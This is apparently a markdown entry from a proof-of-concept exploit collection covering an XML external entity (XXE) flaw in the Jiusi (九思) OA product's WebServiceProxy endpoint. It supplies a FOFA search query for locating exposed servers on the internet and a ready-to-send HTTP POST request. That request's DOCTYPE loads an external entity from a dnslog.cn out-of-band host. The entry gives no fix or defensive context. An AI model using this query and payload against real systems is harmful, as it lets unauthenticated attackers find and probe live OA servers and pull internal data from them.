POC/wpoc/九思OA/九思OA接口WebServiceProxy存在XXE漏洞.md
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# 九思OA接口WebServiceProxy存在XXE漏洞
九思OA接口isoaNebServiceProxy 存在XML实体注入漏洞未经身份认证的攻击者可利用此漏洞获取服务器内部敏感数据。
## fofa
```yaml
body="/jsoa/login.jsp"
```
## poc
```java
POST /jsoa/WebServiceProxy HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type: application/x-www-form-urlencoded
Connection: close
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11111.edbxqa.dnslog.cn"> %remote;]>
```